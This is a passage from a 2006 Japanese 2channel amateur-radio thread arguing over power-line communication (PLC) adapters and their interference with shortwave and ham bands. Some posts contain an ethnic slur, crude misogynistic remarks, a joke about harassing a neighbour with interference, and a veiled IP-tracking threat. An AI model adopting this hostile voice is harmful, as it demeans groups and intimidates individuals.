いや、きっとトラック海苔にゴルァーと言われて
辞めたのでしょう

98 :名無しさんから2ch各局…:2006/11/27(月) 19:01:50
本当におまえらバカ。
今時アマチュア無線なんて言ったら女性にキモイと思われて口も
きいてもらえんぞ。
会社で自分の趣味をアマチュア無線だなんて堂々と言えるかよ。


99 :名無しさんから2ch各局…:2006/11/27(月) 21:15:43
>>89
だから電力線がアンテナになる。
アンテナになるということは,放射もするし,受信もする。
ということは,周囲のノイズにPLCが影響されてしまうということ。

>>98
>今時アマチュア無線なんて言ったら女性にキモイと思われて口も
>きいてもらえんぞ。

そんなケチな女は相手にしなければいいだけ。世の中の半分は女だ。

>会社で自分の趣味をアマチュア無線だなんて堂々と言えるかよ。

女装趣味のアンタよりはマシ。


100 :名無しさんから2ch各局…:2006/11/27(月) 23:46:55
誘導尋問と言う名の「アンケート」。本当にネット経由でやったかどうかも不明。
PLC推進派だけの投票である可能性は誰にも否定できない。

こういうのをよくやるんだよ。そして数字だけを取り出して,世間はこう思っていると言い張る。
http://c-news.jp/c-web/ShowArticle.do?did=01&aid=00008256

設問はこちら。見事な誘導尋問。問11以降。
http://c-news.jp/Qsheet/061127PLC_s1.htm

誘導のテクニック
http://www.uraken.net/zatsugaku/zatsugaku_34.html

101 :名無しさんから2ch各局…:2006/11/28(火) 00:43:12
http://panasonic.co.jp/pcc/products/plc/support/faq.html

電力線は外からつながっていますが、情報は外に漏れないのですか?
「HD-PLC」はAES 128bit暗号技術を採用し、高度な情報セキュリティを実現しています。

#答えになっていない。情報は漏れないかもしれないが,屋外にPLC信号は漏れる。

http://panasonic.co.jp/pcc/products/plc/index.html#Caution
●PLC製品は医療機器の近くでの設置や使用をしないでください。本製品からの高周波信号が、
医療機器に影響を及ぼすことがあり、誤動作による事故の原因になります。

●PLC製品はアマチュア無線、短波放送、航空無線、海上無線、電波を利用した天文観測など
と同じ周波数を使用した高周波利用設備であり、これらの無線設備の近傍で使用した場合、
これらの業務の妨害となる可能性があります。もし、継続的かつ重大な妨害の原因が本製品
であると確認された場合は、電波法に基づき妨害を除去する必要な措置(全てのPLCアダプターを
電源コンセントから抜くなど)をとることを総務大臣から命じられることがあります。

#こんな注意書きをしなければいけないとは。

                     もう終わったな。


102 :名無しさんから2ch各局…:2006/11/28(火) 00:59:38
>>91
日本では補助金も助成金も動いてない。役人だって、
こんなヤバい技術にカネはつけない。せいぜい、
電波環境課職員と審議会(専門)委員の人件費くらい
なもの。

実際、EUはOPERAに多額の公金支出をしながら
当初予定した成果にはほど遠いところで終わった。
EUには技官という官職ないからな。

103 :名無しさんから2ch各局…:2006/11/28(火) 01:00:21
そこまでして売りたいかね。
完全にビョーキだな。

104 :名無しさんから2ch各局…:2006/11/28(火) 01:14:03
>>101
ほとんどすべてのページに注意書き満載。
こんな製品ありか?

105 :名無しさんから2ch各局…:2006/11/28(火) 03:14:50
age

106 :名無しさんから2ch各局…:2006/11/28(火) 06:39:59
PLCなんて一過性のものだって総務省も知っているからああいうふうにしてるんだよ。
それを訴訟などして名を上げたい人もいるんだねえ。
それより中国からのあの電波妨害に立ち向かえよ。
どうせ君らの手に負えるドラゴンじゃないけどな。
それこそアマチュアの意地だろうよ。



107 :名無しさんから2ch各局…:2006/11/28(火) 07:32:23
確かにわざわざ訴訟するようなもんじゃあないよねえ。あれは雑誌の特集いや連載記事用の行動
でしょうよ。草野さんも青山さんもあの雑誌の関係者なんでしょ。これってcq誌では絶対に扱わ
ないから長期独占記事になりますねえ。

108 :名無しさんから2ch各局…:2006/11/28(火) 07:56:08
勝手にさせとけよ。あいつらあれが生甲斐なんだからさ。
DXerなんてそんな程度さ。

109 :名無しさんから2ch各局…:2006/11/28(火) 09:44:08
元全共闘?の青山さんは国には歯向かうが中国にはまるっきしだめ。
だからドラゴンノイズには無口なんだ。

110 :名無しさんから2ch各局…:2006/11/28(火) 09:48:19
一人で何回も書き込んで寂しくならない?

111 :名無しさんから2ch各局…:2006/11/28(火) 11:34:43
アイ・オー、HD-PLCを採用した高速PLCアダプタのセットモデルなど発売
http://bb.watch.impress.co.jp/cda/news/16331.html

注意書き,てんこ盛り
http://www.iodata.jp/prod/network/plcadapter/2006/plc-etm/index.htm#05

※ 手術室、集中治療室などの電源コンセントには接続しないでください。
本製品の高周波信号が、医療電気機器に影響を及ぼすことがあり、誤動作による事故の原因と
なることがあります。

※ 本製品の使用により、近傍の無線設備に継続的かつ重大な妨害が発生する時は、
妨害を除去する必要な措置を命じられることがあります。


112 :名無しさんから2ch各局:2006/11/28(火) 11:41:53
誰か早く使用して見て、どんな影響が実際に出るのか? レポートを出して
くれ。漏れは周囲300mに人家が無いので影響は無いと信じているが。

113 :名無しさんから2ch各局…:2006/11/28(火) 11:53:42
こんなに注意書きを、書いたら悪用する香具師が現れるわ。

114 :名無しさんから2ch各局…:2006/11/28(火) 12:32:15
ぬけてんがな、本製品に空中線に準ずるものを接続して
無線機として利用しないで下さい。

115 :名無しさんから2ch各局…:2006/11/28(火) 12:36:05
一昨日からノイズレベルが高くなった
どうやらPLCっぽい・・・
都心なので覚悟はしていたが・・・

116 :名無しさんから2ch各局…:2006/11/28(火) 12:46:10
研究室で依頼していた「BL-PA100KT」1台と「BL-PA100」3台が今日手許に届きました。
早速スイッチを入れて親機をインターネット接続して使いました。 設定でまごつきましたが
何とかつながりました。 目的は私の所属する研究室と実験室の間をつなぐというもので
相互の距離は35mあります。大量の画像データを送るので社内回線では問題なので頼んでいま
した。無線LANは利用できません。
初めは同室で別のコンセントに挿してやりました。30Mくらいは確保されます。20-50M
の間を動いています。問題の雑音ですが短波ラジオでやるしか方法がないのでアンテナは内蔵
ロッドアンテナでした。一応7MHzは聞けますのでワッチしました。
PA100KTに近づけるともの凄いノイズです。ちょうど電線から出るようなノイズが何かで変調さ
れたような感じです。
廊下に出て聞いてみたらアマチュアバンドは意外と静かでした。ただそれ以外はノイズを感じま
す。早速送っていただいたお礼と質問をしたらノッチは35-40dbとってあるとのことでした。
明日は研究室と実験室の間でやってみます。
感想では大したノイズは感じなかったということです。市販も直ぐですから皆さんも実権してみた
らいいでしょう。結構便利なものみたいです。


117 :名無しさんから2ch各局…:2006/11/28(火) 12:54:52
セールスか

118 :名無しさんから2ch各局…:2006/11/28(火) 12:55:20
日本橋で売ってるのは250メートル通信可能って書いてあった。
親機とセットで21Kだった。
買ってきてみようかな。こいつにはノッチなんかねえだろうから
気に食わん奴の隣人にあげちゃおうか。


119 :名無しさんから2ch各局…:2006/11/28(火) 12:58:43
116ですが疑うのもいい加減にしてほしい。
あと数日で誰でも手に入るものに嘘を書くこともないでしょう。
実際想ったよりノイズはありませんよ。ノイズの海なんかなりませんよ。
安心しましょう。


120 :名無しさんから2ch各局…:2006/11/28(火) 13:18:20
木造の家屋だともっと酷くなりそうだが?

121 :名無しさんから2ch各局…:2006/11/28(火) 14:31:04
ノッチ入れてあるアマチュアバンドでチェックしてどーする


122 :名無しさんから2ch各局…:2006/11/28(火) 14:33:44
こう見てくると松下もバカじゃなさそうだね。逆に騒いでいる連中自身がPLCについて無知で
オドオドしてる様子がわかる。結局JARLが大人で草野がピエロということじゃないのか。


123 :名無しさんから2ch各局…:2006/11/28(火) 14:45:26
愚かな争い。

大事な事は短波帯をノイズの海にする事。
これで日本国内で短波は死んだも同じ。
見えない力が勝ち取った訳だ。

オメデトウ、三国人の子孫達。

124 :名無しさんから2ch各局… :2006/11/28(火) 14:57:12
KDDIキタ
http://itpro.nikkeibp.co.jp/article/NEWS/20061128/255062/


125 :名無しさんから2ch各局…:2006/11/28(火) 15:52:50
>>98

>アマチュア無線なんて言ったら女性にキモイと思われて口もきいてもらえんぞ。
「女性にどう思われる」が、趣味を選ぶ基準の一部ってほうが気持ち悪いがね。

>自分の趣味をアマチュア無線だなんて堂々と言えるかよ。
「今時ネクラって言われる人に言えない趣味だよ」
「だけど30年以上やってると面白いこともあってやってるよ」って言ってるね俺は。
誇りとまではいえないが、自分の趣味を人にとやかく言われたくはない。


126 :名無しさんから2ch各局…:2006/11/28(火) 15:57:41


買ってから、内包されてる注意書きに
「もしかしたら使えないかもよ」って・・・・・
そりゃオマエ、サギだろ・・・・・




127 :名無しさんから2ch各局…:2006/11/28(火) 16:38:53
>>121
いいじゃないの。俺はアマバンドさえ問題がなきゃあいいよ。
いい子ぶるんじゃねえよ。


128 :名無しさんから2ch各局…:2006/11/28(火) 16:41:47
中国製じゃなくタイ製のPLCが売られてる。4台セットで19800円だぜ。
店に聞いたら法律は知らないってさ。

129 :名無しさんから2ch各局…:2006/11/28(火) 16:44:14
>>125
女にもてるのが第一よ。俺はキモイって言われてやめたよ。


130 :名無しさんから2ch各局…:2006/11/28(火) 16:46:20
貢いでくれる女が第一よ。<ぷ

131 :名無しさんから2ch各局…:2006/11/28(火) 16:51:50
遣らせてくれる女が最高でつ!


132 :名無しさんから2ch各局…:2006/11/28(火) 17:03:45
>>129
そんな基準で自分の趣味を決めるような奴だからキモイって言われるんじゃないのか

133 :名無しさんから2ch各局…:2006/11/28(火) 17:05:55
>>119
いい加減にして欲しいのはコッチの台詞だ。
お前等がいい加減にしろやっ、このボけェがァ!

134 :名無しさんから2ch各局…:2006/11/28(火) 17:06:13
そういうのをキモイと思うのはお前らだけ。
世の中男と女、これが第一よ。


135 :名無しさんから2ch各局…:2006/11/28(火) 17:21:08
ノッチが入ろうが、短波帯の環境破壊をするのは自明の理なのだよ。どうしても
容認することは出来ないのがPLC。アマチュアバンドだけ良ければOKとは思えない
し、短波帯全域を守るのは当然だろう。一度汚染されたら戻すことは出来ないの
は自然も短波も同じ。守らないと、後に禍根を残す。

136 :名無しさんから2ch各局…:2006/11/28(火) 17:27:26
>>135
何でそんなにムキになれるの?


137 :名無しさんから2ch各局…:2006/11/28(火) 17:28:08
オーバーパワーdxer必死だなWWWWWWWWWWWWWWWWWWW

138 :名無しさんから2ch各局…:2006/11/28(火) 17:28:33
アマチュア無線の人ってのは自己中が多いんだね

139 :名無しさんから2ch各局…:2006/11/28(火) 17:30:52
>>119

「想ったほど(思ったほど,だけど)」と書いているが,どれだけ出ると想っていたんだ?
無線の保護基準を大幅に越えるノイズが出ているから問題視されているのであって,
アンタがどう想っていたかどうかはどうでもよいことなのだよ。

140 :名無しさんから2ch各局…:2006/11/28(火) 17:31:49
「想う」と「思う」は大違い。

>>119はPLCに想いあこがれていたんだろう。推進派,乙!

141 :名無しさんから2ch各局…:2006/11/28(火) 17:34:19
 

142 :名無しさんから2ch各局…:2006/11/28(火) 17:34:29
東電,またまた,お得意の隠蔽が発覚!

http://www.asahi.com/national/update/1128/TKY200611280258.html

なんでも誤魔化し,なんでも隠しているんだろう。

143 :名無しさんから2ch各局…:2006/11/28(火) 17:35:04
PLC製品にHFの1kWブースターつけるとどのくらいまで伝わるの?

144 :名無しさんから2ch各局…:2006/11/28(火) 17:36:58
>>139
親切にいち早く入手してレポートを上げてくれた人に対して無礼じゃないのか。
それならあんたが誰よりも先に入手して実権でもやればいいことだろ。
ここでPLC反対と叫んでいる連中(いや数人)はそういう実力も知恵もないくせ
に文句だけは一人前。そういう考え方では世の中は評価してもらえないよ。
私はまずはレポートしてくれた人に感謝するよ。
今まで脅かしばかり書いていた人はどう答えるかだが。
アマバBBドにノッチが入っていてなかなか効果的だと聞いたら今度は短波放送
かよ。呆れるぜ。きっと訴訟に持ち込んだ人間だろうが情けないぞ。


145 :名無しさんから2ch各局…:2006/11/28(火) 17:38:07
反対派が誰も入手できていないとはただただお粗末としか言えないな。


146 :名無しさんから2ch各局…:2006/11/28(火) 17:43:05
100Mできたものを数M程度に絞り込めます
http://itpro.nikkeibp.co.jp/article/NEWS/20061128/255062/

選ぶなら同軸(c.LINK)だろう。実効で100Mを越えるから,FTTHの能力をフルに生かせる。

147 :名無しさんから2ch各局…:2006/11/28(火) 17:45:38
>>144 - 145
推進派殿。会社から書き込みご苦労様。

君たちが優先的に提灯マスコミや提灯学者に配ったのではないの?
巷では販売していないんだぜ。

辛いコメントを発表するのが分かっている相手に,敢えて,発売前に製品を手渡すのか,君らは?

148 :名無しさんから2ch各局…:2006/11/28(火) 17:58:37
やれやれ147はビョーキだな。俺はれっきとしたアマチュアだよ。
JARLにも入っているしDXもやってる。DXCCはまだ8バンドだが残リは2エンティティーだよ。
脳みそまで腐ってしまったとはな。


149 :名無しさんから2ch各局…:2006/11/28(火) 18:01:38
知人も入手してるよ。オラクル、IBMにも優先的にテストしてもらってるそうだ(M筋)。
そこにアマチュアがいることだってあるだろうよ。
それからJARLにもテストしてもらう予定だとさ。



150 :名無しさんから2ch各局…:2006/11/28(火) 18:04:37
誰もノイズテストなんかで優先的に渡してるんじゃない。
通信実験用です。ただそこにアマチュアがいたということでとりあえずレポートしてくれたと思う。

151 :名無しさんから2ch各局…:2006/11/28(火) 18:34:06
>>148
アマチュア無線家がPLC開発に関わっていると聞いたぞ。
所詮は,推進派の工作に過ぎないんだろう。

それにしても厚生労働省のパンチは効いたね。

152 :名無しさんから2ch各局…:2006/11/28(火) 18:36:23
http://panasonic.co.jp/pcc/products/plc/support/faq.html

電力線は外からつながっていますが、情報は外に漏れないのですか?
「HD-PLC」はAES 128bit暗号技術を採用し、高度な情報セキュリティを実現しています。

#答えになっていない。情報は漏れないかもしれないが,屋外にPLC信号は漏れる。

http://panasonic.co.jp/pcc/products/plc/index.html#Caution
●PLC製品は医療機器の近くでの設置や使用をしないでください。本製品からの高周波信号が、
医療機器に影響を及ぼすことがあり、誤動作による事故の原因になります。

●PLC製品はアマチュア無線、短波放送、航空無線、海上無線、電波を利用した天文観測など
と同じ周波数を使用した高周波利用設備であり、これらの無線設備の近傍で使用した場合、
これらの業務の妨害となる可能性があります。もし、継続的かつ重大な妨害の原因が本製品
であると確認された場合は、電波法に基づき妨害を除去する必要な措置(全てのPLCアダプターを
電源コンセントから抜くなど)をとることを総務大臣から命じられることがあります。

#こんな注意書きをしなければいけないとは。

                     もう終わったな。

153 :名無しさんから2ch各局…:2006/11/28(火) 19:06:16
外野だがここで騒いでいる反対派は例のantiplc氏だな。発想と書き方が
そっくりだ。
誰だかは皆さんご承知だからね。
あんまりいろんなところに書かないほうがいいですよ。IP抜かれています
からね。


154 :名無しさんから2ch各局…:2006/11/28(火) 19:09:10
>>149
誰かあなたがアマチュアではないとでも言った?

155 :名無しさんから2ch各局…:2006/11/28(火) 19:10:09
基本的にはPLCが情報通信に役立つならいいと思ってるよ。
アマ無線に少々影響があったっていいじゃないか。元々
アマ無線って混信の保護を受けない唯一の無線局なんだから。
だから自由にQSYできるんだよ。混信やノイズが出れば出ない
ところにQSYすりゃあいいんでしょ。HFだけじゃなくSHFだって
いいんだから。別にDXだけがアマチュアじゃあないからな。


156 :名無しさんから2ch各局…:2006/11/28(火) 19:10:35
>>153
どこの誰だか知らないが,IPを知ってどうする?
脅しのつもりなのだろうが,アホさを晒しているだけだよ (爆笑)

もっとネットワークの仕組みを理解してから脅し文句を考えて来いよ。

157 :名無しさんから2ch各局…:2006/11/28(火) 19:13:06
>>151
パナソニックの有高特命ディレクターはコールサインを持っているということだね

158 :名無しさんから2ch各局…:2006/11/28(火) 19:16:08
NHKのテレビとラジオのニュースでただ今放送中。

159 :名無しさんから2ch各局…:2006/11/28(火) 20:17:00
>>158
これ?
http://www3.nhk.or.jp/news/2006/11/28/k20061128000142.html

160 :名無しさんから2ch各局…:2006/11/28(火) 20:19:48
お得意の「撚り線」電力線を使ったデモをやっているのか。
そうでもしないと,速度がでないし。

161 :名無しさんから2ch各局…:2006/11/28(火) 20:28:10
趣味に影響あるからといって仕事をないがしろにしたら
じぶんがあぼーんだもんな。
サラリーマン悲哀

162 :名無しさんから2ch各局…:2006/11/28(火) 20:34:48
>>159

なんかすごいことをやるように見せているけど、KDDIがやることって、
ADSLなり光なりを引いてきて自社接続プロバイダに入れて、
屋内をPLCで…
ようは抱き合わせで販売だね。
特別なことをしているようなふりをしているけど、
無線LANセットとか、社内イーサケーブル敷設工事込みで
販売しているのとどれだけ大きな違いがあるのやら。

まるで、電力線通信だけでインターネットに繋がるような
小手先の騙しプレイってのは相変わらず。

163 :名無しさんから2ch各局…:2006/11/28(火) 20:40:53
>>162
NHKのニュースでも,「コンセントに差し込むだけでインターネットに繋がる」
と報じていたから,そう思いこんでいる国民がほとんどだろう。

おもしろいことになりそうだ。不満を持つ購入者が続出だろう(買えば,だけど)

アイ・オーのPLC AAAキャンペーンではこんなことが書かれている。
http://www.iodata.jp/prod/network/plcadapter/2006/plc-etm/aaa_camp.htm

※  対象製品ご購入後2週間以内に「PLCホッとダイヤル」へご連絡いただき、
解決できなかった場合にのみ適用されます。トラブルの解決に2週間以上必要と
なった場合も、お問い合わせの受付がご購入後2週間以内であれば適用の対象となります。

※ 適用範囲は、「PLC-ET/M-S」に同梱されている親機・子機をセットで使用し、
通信できなかった場合のみ対象とさせていただきます。適用の場合、お客様にご購入
いただいた代金を弊社が直接ご返金させて頂きます。ただし、接続対象となるパソコン
本体やルーター、モデム等のご購入代金は対象となりません。

164 :名無しさんから2ch各局…:2006/11/28(火) 21:32:48
http://www.kddi.com/corporate/news_release/2006/1128a/index.html
http://www.hikari-one.com/takunai/

を、どうぞ

165 :A1CG 煮海女爺:2006/11/28(火) 21:42:20
OVER POWER 200Wer!

166 :名無しさんから2ch各局…:2006/11/28(火) 21:45:33
PLCマンセー

167 :名無しさんから2ch各局…:2006/11/28(火) 21:52:31
  阻  止  に  追  い  込  め  な  い  お  前  ら  は

         結  局  無  力  と  言  う  事  だ


168 :名無しさんから2ch各局…:2006/11/28(火) 22:04:21
間違いを間違いだと実際に認識させるのが一番

馬鹿に馬鹿と言っても認めないが,それでも本当に馬鹿を見ると青ざめるものよ

169 :名無しさんから2ch各局…:2006/11/28(火) 22:12:05
KDDIのページに新たな問題をはっけん

http://www.hikari-one.com/takunai/

<近隣住宅との干渉について>
マンション等の集合住宅では、隣家との電力線がまとめて敷設されている場合があり各戸で使う
高速PLC信号間の干渉が起こることがあるため、当面の間ご提供はひかりoneホームを一戸建て
住宅でご利用の方に限らせていただきます。あらかじめご了承ください。


要するに,PLCを導入していないマンションの部屋にもPLC信号が伝わるということだ

170 :名無しさんから2ch各局…:2006/11/28(火) 22:12:32
PLCマンセー

171 :名無しさんから2ch各局…:2006/11/28(火) 22:26:58
>>169
そんなことは分かり切っている。
盗聴だって可能だろうよ。

172 :名無しさんから2ch各局…:2006/11/28(火) 22:28:02
PLCマンセー

173 :名無しさんから2ch各局…:2006/11/28(火) 22:35:00
成りすましの侵入もありうるだろうが、それは無欄LANでも同じこと。

174 :横浜の黒木です。:2006/11/28(火) 23:14:12

これいいね:

http://it.nikkei.co.jp/internet/news/index.aspx?n=MMITba002028112006


175 :横浜の黒木です。:2006/11/28(火) 23:19:08
>174
もちろん同軸の方です。

176 :名無しさんから2ch各局…:2006/11/28(火) 23:27:51
KDDIのデモモデムも電線がツイストしてあるな(w
ブースの敗戦もきっと四時ってあるのだろう。


177 :名無しさんから2ch各局…:2006/11/28(火) 23:27:55
>>169
KDDIは提供を自主規制するわけだが、個人が松下やIOデータの
モデムを買って来て使った場合、隣家の医療機器に干渉したら
どうするんだろ?

178 :名無しさんから2ch各局…:2006/11/28(火) 23:31:37
壁1枚隔てて寝ているお隣の病人があぼーんってか?
あり得る事だなぁ


179 :名無しさんから2ch各局…:2006/11/28(火) 23:37:19
集合住宅に限らないな
同じ柱上トランスから電気取っている数十軒も同じようなもんだろう。
引き込み線にフィルタ入れて家から外へ出さなきゃいいが
そんな事はしないのだろう、恐ろしい事だな。


180 :名無しさんから2ch各局…:2006/11/28(火) 23:38:17
あ、これ↑1戸建ての話し


181 :名無しさんから2ch各局…:2006/11/28(火) 23:51:34
盗聴も、ネットへの成りすまし侵入も、機器妨害もなんでもありだな。

ミステリー小説ができそうだ。
『PLC〇〇事件』

182 :名無しさんから2ch各局…:2006/11/29(水) 00:08:30
電源コンセントに差し込むことで高速インターネット
http://pc8.2ch.net/test/read.cgi/internet/1105127657/l50




183 :名無しさんから2ch各局…:2006/11/29(水) 00:11:07
【ネット】 電気のコンセントを使った家庭内ネットワーク、本命が日本でもスタート
http://news19.2ch.net/test/read.cgi/newsplus/1164708933/l50


184 :名無しさんから2ch各局…:2006/11/29(水) 00:57:14
朝から晩までAntiplc殿ががんばってますね。


185 :名無しさんから2ch各局…:2006/11/29(水) 01:06:33
>おもしろいことになりそうだ。不満を持つ購入者が続出だろう(買えば,だけど)

>アイ・オーのPLC AAAキャンペーンではこんなことが書かれている。
>http://www.iodata.jp/prod/network/plcadapter/2006/plc-etm/aaa_camp.htm
裏切り者のHAMもいるな。


186 :名無しさんから2ch各局…:2006/11/29(水) 01:38:30
>>185
 まずex.JA9S**(JF9I**)やJR0B**等がね。

 そのうちVの総攻撃を受けるのかも(w 社長は無線音痴だし。


187 :名無しさんから2ch各局…:2006/11/29(水) 06:13:51
アイオーデータの社長は有名なハムだよ。


188 :名無しさんから2ch各局…:2006/11/29(水) 06:19:40
>>184
コール教えてください。


189 :名無しさんから2ch各局…:2006/11/29(水) 07:19:31
確かに反対派には書き込みの特徴がありますね。
あそこまで必死にネタ探しをするというのも異常そのものですね。
きっとPLC反対がライフワークのような人なんでしょう。
もうBLOGなどでは実際に使ってみた報告も沢山出てきました。
別に提燈記事とは言えないものも多く見られます。
ここでも仕事で使うチャンスがある人が書き込んだらそれをメーカーの提燈記事
だとは驚きます。
こういう何でも自分達の意に沿わないものは消すというやり方は昔どこかにあり
ましたよね。そういう行動を続けていると段々と仲間も理解者も減っていきますよ。
私はJARLが実験するという話ですのでそれまで冷静に見ようと思っています。
噂のantiplcさんがここの主役かどうかはわかりませんがもういい加減脅しのよう
な書き方はやめるべきでしょう。
そこまでやるなら堂々と名乗ってご自分のページでおやりなさい。そこまでの勇気
もあるとは思えませんが。


190 :名無しさんから2ch各局…:2006/11/29(水) 08:03:32
↑お前が名乗れ!
逝ってよし。

191 :名無しさんから2ch各局…:2006/11/29(水) 08:07:25
>>189
アンタは匿名で通すんでしょ?

192 :名無しさんから2ch各局…:2006/11/29(水) 08:10:54
>>190
>>191
189氏は飛び入りだけどさ、あのANTIPLC氏はオピニオンリーダだからでしょ。
名を名乗ってこそ発言に重みが増すと思うぜ。


193 :名無しさんから2ch各局…:2006/11/29(水) 08:12:25
推測だけどJG1某かJA1某だろうな。
どっちも反PLCの先鋒だからな。


194 :名無しさんから2ch各局…:2006/11/29(水) 08:17:04
>>192
つまり,推進派の弱みをたった一人(なのかな?)に晒されている,ということ?

そうだとしたら,今のままでいいと思う。
新聞の意見欄などでなら実名で,というのはわかるけど,所詮はネットの世界。
ホントか嘘か分からない情報が飛び交うネットの世界。

195 :名無しさんから2ch各局…:2006/11/29(水) 10:56:20
俺もハムだけど何故plcで騒ぐの?
ノイズなんか問題にならない周波数でやればいいじゃないの。
別にdxができなくたってアマチュア無線はできるんでしょ。


196 :名無しさんから2ch各局…:2006/11/29(水) 10:58:41
>>195
お前はハムの免許を持っているかも知れないがハムではない。
「ハムでない者」が「俺もハムだ」などと口にするな。バカ。

197 :名無しさんから2ch各局…:2006/11/29(水) 10:58:55
>>195
おまえは、極めていない。HFがハムの真髄

198 :名無しさんから2ch各局…:2006/11/29(水) 11:01:27
真髄は、HFでCW以外の何物でもない。

199 :名無しさんから2ch各局…:2006/11/29(水) 11:04:56
あれあれ遅れた老人だなあ。もうom連中はhfなんかやめてvuでemeやらインターネット
リンクだよ。時代じゃねえよhfなんて。


200 :名無しさんから2ch各局…:2006/11/29(水) 11:05:56
で、結局の所は共存できるレベルなのか?

201 :名無しさんから2ch各局…:2006/11/29(水) 11:08:24
関西の理事さんによると松下のは問題ないそうだよ。
もうこっちではPLCの話は過去になったよ。
詳しくは大阪支部長さんが知ってるよ。
ある意味2ちゃんねるは遅れてるってことだよ。


202 :名無しさんから2ch各局…:2006/11/29(水) 11:09:58
今頃HFがアマチュア無線の真髄とは呆れてしまう。
だから若者が入ってこないんだよ。その代わりにノイズが入ってくるってか。大笑いじゃ

203 :名無しさんから2ch各局…:2006/11/29(水) 11:10:36
>>201
隣と同じ柱状トランスでもか?

204 :名無しさんから2ch各局…:2006/11/29(水) 11:11:46
>>199
どうせそのOMなんてあのバカオヤジのKとかだろ。真髄を極められないで逝った奴はよし。

205 :名無しさんから2ch各局…:2006/11/29(水) 11:12:57
>>199
>インターネットリンク

(・∀・)ニヤニヤ
すでにクソレスすらつかずストッパー状態ですが・・・

http://hobby8.2ch.net/test/read.cgi/radio/1143633229/

206 :名無しさんから2ch各局…:2006/11/29(水) 11:13:10
>>203
大阪の支部長さんに聞いてくれ。


207 :名無しさんから2ch各局…:2006/11/29(水) 11:14:59
今はハンディーでDXやるのが受けるのよ。
オネーチャンの目の前でハンディーでラグチューね。

208 :名無しさんから2ch各局…:2006/11/29(水) 11:15:46
六本木でもアクセスできるノードあるしね。


209 :名無しさんから2ch各局…:2006/11/29(水) 11:16:16
大阪府支部長さん、ある日を境に突然いっさいこの件について沈黙しちゃったよねぇ。
ブログは続けてるみたいだけど・・・

210 :名無しさんから2ch各局…:2006/11/29(水) 11:17:30
ハラに一発やられたのか。

211 :名無しさんから2ch各局…:2006/11/29(水) 11:18:44
腹が出るまでもなく長谷川に「処理」されたんだろ。
関西ってのは北朝鮮みたいなところだから<ぷ

212 :名無しさんから2ch各局…:2006/11/29(水) 11:20:41
受ける為にやっているらしいが、受けている様にもおもえない。
その様な考えだからHFやcwも極められない。

213 :名無しさんから2ch各局…:2006/11/29(水) 11:22:06
HFを極めるとオーバーパワーになるってか。アホ


214 :名無しさんから2ch各局…:2006/11/29(水) 11:25:35
>>213
意味わからん、VUの連中は頭悪い。

215 :名無しさんから2ch各局…:2006/11/29(水) 11:31:43
VUの魅力もわからん爺さんはDXで逝けや。
ジャパアアーンが楽しいのか。子どもに笑われるぞ。
それ以前に絶縁状態だろ。


216 :名無しさんから2ch各局…:2006/11/29(水) 11:33:06
http://jarl.iza.ne.jp/blog/entry/75550/
またまたバカ発見。<ぷ

217 :名無しさんから2ch各局…:2006/11/29(水) 11:35:37
これぞ真髄を極めるというものじゃ
5A7A
Callsign Band Mode
JA1HGY 40m RTTY
JA1HGY 20m SSB
JA1HGY 40m CW
JA1HGY 40m SSB
JA1HGY 30m CW
JA1HGY 15m SSB
JA1HGY 20m CW
JA1HGY 160m CW
JA1HGY 80m SSB
JA1HGY 17m CW
JA1HGY 80m CW
JA1HGY 40m RTTY
JA1HGY 15m CW
JA1HGY 40m CW
No. of QSO(s) found: 14



218 :名無しさんから2ch各局…:2006/11/29(水) 11:40:07
こっちが上だ!

5A7A
Callsign Band Mode
JR2KDN 40m RTTY
JR2KDN 20m SSB
JR2KDN 15m CW
JR2KDN 40m CW
JR2KDN 15m SSB
JR2KDN 20m CW
JR2KDN 40m CW
JR2KDN 40m SSB
JR2KDN 30m CW
JR2KDN 15m SSB
JR2KDN 15m CW
JR2KDN 40m CW
JR2KDN 20m CW
JR2KDN 160m CW
JA1HGY 80m SSB
JR2KDN 15m CW
JR2KDN 40m CW
JR2KDN 17m CW
JR2KDN 80m CW
JR2KDN 40m RTTY
JR2KDN 15m CW
JR2KDN 40m CW
JR2KDN 15m CW
JR2KDN 40m CW
No. of QSO(s) found: 23

219 :名無しさんから2ch各局…:2006/11/29(水) 11:42:48
まるでバカ、いやバカそのもの。

220 :名無しさんから2ch各局…:2006/11/29(水) 11:49:00
PLC殺人事件

221 :名無しさんから2ch各局…:2006/11/29(水) 11:51:31
コイツラ40mCW-TTYで何回保険やってるんだよ。
市ね。

222 :名無しさんから2ch各局…:2006/11/29(水) 12:05:59
パイレート除けとか、もっともらしい言い訳つけてdupeのしまくりか
これは最もDXerの株を下げる行為なのに

223 :名無しさんから2ch各局…:2006/11/29(水) 12:26:41
相手はパイルが大きいほど楽しいからいいんじゃないの。
俺も14CW 5回やっちゃったぜ。


224 :名無しさんから2ch各局…:2006/11/29(水) 12:32:20
やっぱDXってサイコーだね。
VUの連中にはわからんよ。


225 :名無しさんから2ch各局…:2006/11/29(水) 12:35:12
http://jarl.iza.ne.jp/blog/
に誰か書き込んでくれ。

そんなに電磁波による環境汚染ってあるのかな?

電磁波発生源がダイポールアンテナ(1/4波長の線を左右に張ったアンテナ)であるとき、
そこから受ける電磁界の強度は以下の式で近似的に(アンテナの長さによる距離の差を
考えていません)求められます。距離の1乗・2乗・3乗に反比例する成分があることが
お解り頂けると思います。

7×√(P)×(1/r+λ/6.3r2−λ2/40r3)[V/m]

実際には、アンテナの上下方向の利得のためにその 1/3〜1/10になります。

これにより、一部で騒がれている「アマチュア無線局の電波が人体に影響を及ぼす」という
噂話も 殆ど煽動者によるでっちあげであることがおわかり頂けると思います。アンテナから
距離を置く・送信機や給電線を金属で覆って電波が漏れないようにするといった対策を無線局
が講じる必要はありますし、必要のない電力を出さない等の配慮も必要ですが、そういった対策
を行っている限りは これらの無線設備が近隣の人に与える影響は非常に小さいと考えられます。



参考リンク
http://www.jomon.ne.jp/~ja7bal/denjiha.htm



226 :名無しさんから2ch各局…:2006/11/29(水) 12:52:04
5kw炊いてswrが悪いとゲロ吐きそうになるよ。
あれってアンテナじゃなくacとか同軸の外皮とから漏れてるんでしょ。
だからハムには女の子が多いんだよ。あれも漏れでやられちゃったんだろ。
あっちは漏れなかったけどって。因みにオイラもオナゴ2人ね。


227 :名無しさんから2ch各局…:2006/11/29(水) 12:58:42
結局のところ、PLCって技術は日本発じゃないんだろ?
今まで導入した国はどんな結果なんだ?
外国HAMの意見じゃ無くて、現状を知りたい

導入後、やってるのかやってないのか
弊害は出ているのか、出ていないのか(無線に限らず)
もしHAMに弊害があったとして、その国のHAMはどんな対策・対応したのか

こんなところ

